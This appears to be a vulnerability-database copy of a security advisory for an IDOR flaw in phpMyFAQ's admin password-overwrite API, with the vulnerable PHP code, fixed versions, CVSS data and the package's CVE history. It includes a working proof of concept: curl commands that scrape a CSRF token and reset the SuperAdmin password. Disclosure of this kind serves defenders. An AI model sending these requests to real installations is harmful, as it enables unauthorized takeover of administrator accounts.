High

phpMyFAQ: IDOR Account Takeover

  • Disclosed: 20.05.2026
  • Updated: 11.10.2026 10:22

Summary

An Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php Lines: 232-271 The overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password: #[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])]

php
public function overwritePassword(Request $request): JsonResponse
{
    $this->userHasUserPermission();  // Only checks if user has USER_EDIT permission
    $currentUser = CurrentUser::getCurrentUser($this->configuration);
    $data = json_decode($request->getContent());
    $userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT);  // User-controlled!
    $csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS);
    $newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS);
    $retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);
    if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) {
        return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED);
    }
    // NO check that $userId belongs to a user the admin should manage
    // NO check that target user has lower or equal privileges
    // Can overwrite password for ANY user, including SuperAdmin (userId=1)
    $currentUser->getUserById((int) $userId, allowBlockedUsers: true);
    $authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType'));
    if (hash_equals($newPassword, $retypedPassword)) {
        if (!$currentUser->changePassword($newPassword)) {
            return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST);
        }
        $this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId);
        return $this->json(['success' => ...], Response::HTTP_OK);
    }
}

Root Causes:

  1. No verification that the requesting admin has permission to modify the target user's password
  2. No check that the target user has equal or lower privilege level
  3. The userId is taken directly from the request body without authorization context
  4. No multi-factor confirmation for privilege-escalating password changes

PoC

Prerequisites: Authenticated admin session with USER_EDIT permission

Step 1 - Obtain Admin Session: Log in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).

Step 2 - Extract CSRF Token: CSRF token is embedded in admin pages:

bash
curl -sL -b "PHPSESSID=admin_session" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+'

Step 3 - Change SuperAdmin Password:

bash
curl -X PUT -H "Content-Type: application/json" \
  -b "PHPSESSID=admin_session" \
  -d '{
    "userId": 1,
    "csrf": "admin_csrf_token_value",
    "newPassword": "NewSuperAdminP@ss123!",
    "passwordRepeat": "NewSuperAdminP@ss123!"
  }' \
  http://target/admin/api/user/overwrite-password

Response: {"success":"The password was successfully changed."}

Step 4 - Account Takeover: Attacker now has SuperAdmin credentials and full control of phpMyFAQ.

Who is Impacted:

  • Organizations with multiple admin users where not all should have SuperAdmin access
  • Any phpMyFAQ instance where privilege separation is configured
  • Multi-tenant environments where users should only manage their own accounts

Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission

Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package phpmyfaq/phpmyfaq < 4.1.3 4.1.3
Composer package thorsten/phpmyfaq < 4.1.3 4.1.3

References

CVSS score 8.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-266, CWE-269, CWE-639, CWE-862
Platform
Composer
Package
phpmyfaq/phpmyfaq, thorsten/phpmyfaq
Disclosed
20.05.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-xvp4-phqj-cjr3 - CC BY 4.0

Vulnerability history: thorsten/phpmyfaq

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (112) in the archive
Total entries
112
First → latest
05.2022 09.2026
Without a fix
2
Exploited in attacks
0

Severity breakdown

  • Critical 8
  • High 36
  • Medium 67
  • Low 1

Disclosures per year

  1. 2022: 8
  2. 2023: 62
  3. 2024: 2
  4. 2025: 6
  5. 2026: 34
Severity:
  1. High · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. High · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. phpMyFAQ: IDOR Account Takeover this entry
    High · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. High · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  5. High · 7.5 CVE-2025-69200 < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 4.0.16
  6. High · 8.1 CVE-2025-59943 >= 4.0.7, < 4.0.13 4.0.13
  7. High · 7.6 CVE-2023-5865 < 3.2.2 3.2.2
  8. High · 7.4 CVE-2023-5864 < 3.2.1 3.2.1
  9. High · 8.3 CVE-2023-5319 < 3.1.18 3.1.18
  10. Critical · 9.0 CVE-2023-5320 < 3.1.18 3.1.18
  11. Critical · 9.1 CVE-2023-5316 < 3.1.18 3.1.18
  12. High · 8.8 CVE-2023-4007 < 3.1.16 3.1.16
  13. High · 8.2 CVE-2023-2550 < 3.1.13 3.1.13
  14. High · 8.3 CVE-2023-1887 < 3.1.12 3.1.12
  15. High · 7.3 CVE-2023-1886 < 3.1.12 3.1.12
  16. Critical · 9.8 CVE-2023-0788 < 3.1.11 3.1.11
  17. Critical · 9.8 CVE-2023-0789 < 3.1.11 3.1.11
  18. High · 8.8 CVE-2023-0790 < 3.1.11 3.1.11
  19. High · 8.8 CVE-2023-0793 < 3.1.11 3.1.11
  20. Critical · 9.8 CVE-2023-0311 < 3.1.10 3.1.10
  21. High · 7.5 CVE-2022-4409 < 3.1.9 3.1.9
  22. Critical · 9.8 CVE-2022-3754 < 3.1.8 3.1.8
  23. High · 8.4 CVE-2022-3608 < 3.2.0-alpha 3.2.0-alpha
  24. High · 8.8 CVE-2018-16650 < 2.9.11 2.9.11

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.